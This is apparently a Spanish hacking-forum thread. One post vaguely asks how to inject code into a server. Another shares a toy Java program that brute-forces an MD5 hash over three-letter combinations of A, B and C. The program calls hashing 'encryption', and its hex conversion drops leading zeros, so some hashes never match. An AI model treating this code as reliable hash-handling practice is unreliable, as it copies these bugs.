No he tocado mucho seguridad web, asi que agradeceria vuestra ayuda.
Que puedo probar? Pasarlo a Base64? Vi algo de un tio que metia las cadenas encriptadas y las ineterpretaba el servidor como instrución y conseguia injectarle codigo.

Saludos
#45
Código (java) [Seleccionar]
import java.lang.String;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.logging.Level;
import java.util.logging.Logger;

/**
*
* @author root
*/
public class Encriptor {


    public static void main(String[] args)
    {
        String resultado = null;
        String match = "d9058beaae2e147183870304dd526761";
       

        String[] mapaChars = {"A","B","C"};

        int posibles = (int) Math.pow(3,mapaChars.length);
       
        String[] combinacion = new String[3];
        int indice1 = 0;
        int indice2 = 0;
        int indice3 = 0;
        for(int i = 0; i < posibles;i++)
        {
            if(indice1 == 3)
            {
               
               indice1 = 0;
               indice2++;
            }
            if(indice2 == 3)
                {
                    indice2 = 0;
                    indice3++;
                }
            if(indice3 == 3)
            {
                indice3 = 0;
            }
          combinacion[0] = mapaChars[indice1];
          combinacion[1] = mapaChars[indice2];
          combinacion[2] = mapaChars[indice3];
          String resultadoTransitorio = new String(combinacion[0] + combinacion[1] + combinacion[2]);
          String resultadoEncriptado = new String(Encriptor.encriptaMD5(resultadoTransitorio));
          if(resultadoEncriptado.equals(match))
          {
              resultado = resultadoTransitorio;
              break;
          }
         
          indice1++;
         
        }
        System.out.println("Hash crackeada con exito!\n" + resultado);
       
        /*String cadena = new String("acb");
        System.out.println(Encriptor.encriptaMD5(cadena) + "\n" + Encriptor.encriptaSHA1(cadena));*/
    }
    public static String encriptaMD5(String toEnc)
    {


        MessageDigest mdEnc = null;
        try {
            mdEnc = MessageDigest.getInstance("MD5"); // Encryption algorithm
        } catch (NoSuchAlgorithmException ex) {
            Logger.getLogger(Encriptor.class.getName()).log(Level.SEVERE, null, ex);
        }

            mdEnc.update(toEnc.getBytes(), 0, toEnc.length());

            String md5 = new BigInteger(1, mdEnc.digest()).toString(16);
            return md5;
    }
    public static String encriptaSHA1(String cadena)
    {
        byte[] defaultBytes = cadena.getBytes();

MessageDigest algorithm = null;
        try {
            algorithm = MessageDigest.getInstance("SHA1");
        } catch (NoSuchAlgorithmException ex) {
            Logger.getLogger(Encriptor.class.getName()).log(Level.SEVERE, null, ex);
        }
algorithm.reset();
algorithm.update(defaultBytes);
byte messageDigest[] = algorithm.digest();

StringBuffer hexString = new StringBuffer();
for (int i=0;i<messageDigest.length;i++) {
hexString.append(Integer.toHexString(0xFF & messageDigest[i]));
}
String foo = messageDigest.toString();

cadena = hexString+"";
        return cadena;
    }

}


Por fin!
He conseguido crear mi propio programa para romper hashes MD5, y SHA1 (aun por implementar), pero me hace ilusión compartirlo con todos vosotros.

Para simplificar el trabajo tan solo he usado 3 posibles caracteres A B y C, encriptad cualquier combinación de estas 3 en MD5 y dadle el valor de la cadena a la variable match y os la crackeará en menos de un segundo!

Cuando este listo al 100% lo haré publico.

Saludos